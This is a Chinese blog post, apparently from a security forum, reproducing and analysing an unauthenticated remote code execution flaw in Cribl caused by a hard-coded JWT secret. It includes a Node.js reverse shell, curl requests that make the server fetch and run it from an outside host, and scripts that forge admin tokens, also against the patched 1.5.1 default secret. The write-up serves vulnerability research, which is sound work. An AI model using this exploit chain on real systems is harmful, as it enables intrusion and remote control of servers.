前言

前几天瞎逛 Github 看到的一个 CVE,就跟着调试一下,顺便记录一下调试过程中的收获。

repo 链接:poc-cribl-rce

以下是作者提供的描述:

Info

Tested on Cribl v1.5.0 - Previous versions not tested but likely vulnerable.
A valid JWT token can be transfered from and injected into the session of another Cribl instance, giving the user unauthorised access.
Furthermore, the encryption key used on to generate the JWT/Session can be used to create a valid session for any username, with an extended expiry.

This, combined with the ability to run scripts within Cribl allows a remote attacker to run malicious code on a Crible instance in order to gain further control.
An example of such can be seen below, using the scripts page and a long expiry JWT token, it was possible to create a reverse shell.

Tested using Docker (Alpine).

环境搭建

根据作者的描述,该问题在 1.5.0 上被验证存在,之前的版本不排除有该问题,但作者尚未验证,因此这里使用 1.4.3 的环境进行测试:

# pull docker
docker pull cribl/cribl:1.4.3
# run docker
docker run -p 9000:9000 -d cribl/cribl:1.4.3

然后访问 9000 端口,可以看到如下页面,使用 admin/admin 即可登录:

漏洞测试

根据作者的描述,该漏洞属于任意命令执行的漏洞,但由于没有回显,需要通过反弹 shell 的方式获得可以交互的命令行。考虑到 cribl 本身具有 nodejs 环境,因此可以考虑结合 nodejs 的反弹 shell 脚本进行攻击。

因此,漏洞的利用思路如下:

  1. 使用 wget 或其他方式将反弹 shell 的脚本写入受影响的环境
  2. 利用 nodejs 执行该脚本,反弹 shell

第一步,先在自己的 vps 上部署 nodejs 的反弹 shell 脚本(这里需要将 YOUR_REMOTE_IP_OR_FQDN 替换为具体的地址或域名):

var net = require("net"), sh = require("child_process").exec("/bin/sh");
var client = new net.Socket();
client.connect(6669, "YOUR_REMOTE_IP_OR_FQDN", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

然后准备好监听 6669 端口:

nc -lvp 6669

下一步就是使用任意命令执行的漏洞,先利用 wget 下载反弹 shell 的脚本:

# wget
curl 'http://127.0.0.1:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://xxx.xxx.xxx/shell.js","-P","/opt"],"env":{}}' --compressed

# {"count":1,"items":[{"command":"/usr/bin/wget","args":["http://static.syang.xyz/shell.js","-P","/opt"],"env":{},"id":"runme"}]}
# exec wget
curl 'http://127.0.0.1:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed

# {"pid":36,"stdout":"N/A","stderr":"N/A"}
# nodejs
curl 'http://127.0.0.1:9000/api/v1/system/scripts' \
 -H 'Content-Type: application/json'\
 -H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/shell.js"],"env":{}}' --compressed

# {"count":1,"items":[{"command":"node","args":["/opt/shell.js"],"env":{},"id":"reverseit"}]}
# exec nodejs
curl 'http://127.0.0.1:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed

# {"pid":37,"stdout":"N/A","stderr":"N/A"}

成功反弹 shell:

PS:原作者 poc 中有一个很奇怪的地方,第二次未授权访问的时候使用了一个错误的 Cookie…

漏洞分析

下面来看继续分析这个漏洞的成因,可以看到任意命令执行是该应用自带的功能。访问 http://localhost:9000/settings/scripts 可以看到之前 poc 所生成的两项:

如果我们使用授权的 admin / admin 账号,可以直接增加并执行命令:


所以该漏洞的主要问题在于未授权,即未登陆的状态下也可以利用伪造的 JWT token进行任意命令执行。

下面结合源码来分析漏洞所在。可以看到文件夹结构如下:

结合 docker 的 entrypoint.sh:

#!/bin/sh

# Assumed to be an s3 location
if [ -n "$CRIBL_CONFIG_LOCATION" ]; then
    aws s3 sync "$CRIBL_CONFIG_LOCATION" /opt/cribl/local/cribl
fi

if [ -n "$CRIBL_SCRIPTS_LOCATION" ]; then
    mkdir -p /opt/cribl/scripts
    aws s3 sync "$CRIBL_SCRIPTS_LOCATION" /opt/cribl/scripts
    chmod -R 755 /opt/cribl/scripts
fi

if [ "$1" = "cribl" ]; then
    node /opt/cribl/bin/cribl.bundle.js server
fi

exec "$@"

以及 start.sh:

#!/bin/bash

NODECMD=node
STARTCMD="$NODECMD cribl.bundle.js server"
echo "$STARTCOMD"

DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
cd $DIR

# exec the command so it can receive kill signals
exec $STARTCMD

可以看到最核心的代码为 cribl.bundle.js,进入分析:

可以很明显看到该代码是由 webpack 之类工具打包生成的了。。第一眼看上去一头雾水(─.─||)
那么就需要结合一定的技巧进行分析,可以搜索关键词 cribl_auth,因为 Cookie 中的 cribl_auth 字段即 JWT token,定位到下图的关键代码:

美化之后如下:

var f = "d2hvIGxldCB0aGUgZG9ncyBvdXQ=";
var p = 4 * 3600;
var h = "cribl_auth";
var d = "/auth";
var v = "Bearer ";
var m = [d + "/"];

function y(e, t, r) {
    if (e.method === "OPTIONS") {
        r();
        return
    }
    for (var n = 0; n < m.length; n++) {
        if (e.path.startsWith("" + m[n])) {
            r();
            return
        }
    }
    var i = e.cookies && e.cookies[h];
    if (!i) {
        var o = e.header("authentication");
        if (o && o.startsWith(v)) {
            i = o.substr(v.length)
        }
    }
    try {
        a.decode(i || "", f);
        r()
    } catch (e) {
        t.sendStatus(401)
    }
}

可以看到逻辑非常简单,只要 jwt token 解码成功即可成功通过验证,而且无需如 admin 之类的特定用户名。结合作者的描述,可以认为主要还是硬编码的 secret d2hvIGxldCB0aGUgZG9ncyBvdXQ= 增大了伪造的可能性降低了程序的安全性。

顺便看看这个 secret 是什么:

echo "d2hvIGxldCB0aGUgZG9ncyBvdXQ=" | base64 -d
who let the dogs out

Emmm,开发者你开心就好。

最后来看一下开发者是使用哪一个库来生成 jwt token 的,搜索 JWT 关键词:

可以看到诸如版本信息,报错信息等关键字符串,结合上述信息进行搜索,可以搜到:https://github.com/hokaccha/node-jwt-simple

写个脚本印证一下:

var jwt = require('jwt-simple');
var payload = {
  "username": "admin",
  "exp": 9999999999
};
var secret = 'd2hvIGxldCB0aGUgZG9ncyBvdXQ=';

// encode
var token = jwt.encode(payload, secret);
console.log(token);

// decode
var decoded = jwt.decode(token, secret);
console.log(decoded);

可以看到和 poc 的作者所使用的 cookie 是一样的☑️:

node test.js
# output
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY
# { username: 'admin', exp: 9999999999 }

修复

让我们看看后续版本是如何修复的,老规矩,使用 v1.5.1 版本的 image,映射到 9001 端口:

# pull docker
docker pull cribl/cribl:1.5.1
# run docker
docker run -p 9001:9000 -d cribl/cribl:1.5.1

可以看到之前的 exp 已经不能生效了:

curl 'http://127.0.0.1:9001/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://static.syang.xyz/shell.js","-P","/opt"],"env":{}}' --compressed

# output
# Unauthorized

跟进源码,查看 v1.5.1 对程序进行了何种修改:

var p = 4 * 3600;
var d = "cribl_auth";
var h = "/auth";
var m = "Bearer ";
var v = [h + "/"];
var g;

function y() {
    if (!g) {
        g = l.getCreateCriblSecret()
    }
    return g
}

function b(e, t, r) {
    if (e.method === "OPTIONS") {
        r();
        return
    }
    for (var n = 0; n < v.length; n++) {
        if (e.path.startsWith("" + v[n])) {
            r();
            return
        }
    }
    var i = e.cookies && e.cookies[d];
    if (!i) {
        var o = e.header("authorization");
        if (o && o.startsWith(m)) {
            i = o.substr(m.length)
        }
    }
    y().then(function (e) {
        var t = a.decode(i || "", e);
        if (!t.username) throw new Error("Invalid auth token, missing username");
        r()
    }).catch(function (e) {
        t.sendStatus(401)
    })
}

// 其中 l.getCreateCriblSecret = w

function w() {
    if (!b) {
        var e = c.join(process.env.CRIBL_HOME || "", "local", "cribl", "auth", "cribl.secret");
        b = o.callbackToPromise(l.readFile, e).catch(function (t) {
            return u.mkdirp(c.dirname(e)).then(function () {
                var t = a.randomBytes(256).toString("base64");
                return u.atomicFileWrite(e, t).then(function () {
                    return t
                })
            })
        }).then(function (e) {
            return Buffer.from(e.toString(), "base64")
        })
    }
    return b
}

可以看到关键的 secret 不再硬编码,改成了从 /opt/local/cribl/auth/cribl.secret 该文件中进行读取。

那么考虑到使用 docker 中自带的密钥,是否可以伪造 cookie?

var jwt = require('jwt-simple');
var payload = {
  "username": "admin",
  "exp": 9999999999
};

// encode
var secret = Buffer.from("vCN2P8hvUL2mvY6JZ5HhkXyNJzaSVvhOhBuZF9h34K6UbrhbPnr23/shnY09hZPUpKOTDIMql1POyPOOEygj67LPyYd57hxLmMgbVQ8IcsxLF3pu+gcc0qzrgzInWpSRXL0t4hTKDhRwR94xo/1G0nZfG8uh8M7jH3Wnr80Jujnyx0fjYhq1sWTd3ESnT2c8fUtqLwyEyx2yGeXKp+pXmrIYgFtjxDemsuUVzZlrj/fTgF+IlgWS2cxxkBRpAxxVurfZVE1E3oP8VM+73QMFOMcWrT8ABqEvhFhGBC/izNR7lKF7rkDjkwftc8UY0uvDOImaC/H/GM3ab53pyDdcNQ==", "base64")
var token = jwt.encode(payload, secret);

// decode
var decoded = jwt.decode(token, secret);
console.log(decoded);

Emmm,实验成功了。。只能说如果开发者在生产环境中不换默认的 secret 最后还是会翻车,照样未授权 RCE。

curl 'http://127.0.0.1:9001/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.zRHkFfc7WtMIqFtfvSd2FUyxHxW8TlnVZtn87sNMVYc' \
--data-binary '{"id":"list","command":"ls","args":["-al"],"env":{}}' --compressed
# output
# {"count":1,"items":[{"command":"ls","args":["-al"],"env":{},"id":"list"}]}

总结

事实又一次强调了开发过程中注意安全的重要性,但在这波分析之后,个人感觉这个洞本质上有点弱?之前版本的问题主要在于硬编码密钥,之后的版本改为了通过配置文件配置密钥。但这种配置方式在某种程度上仍然存在一定问题,比如开发者在生产环境中没有配置新的密钥,那用默认的密钥同样可以伪造签名。。

分析过程中如有疏漏望各位师傅们指出XD

点击收藏 | 0 关注 | 2
登录 后跟帖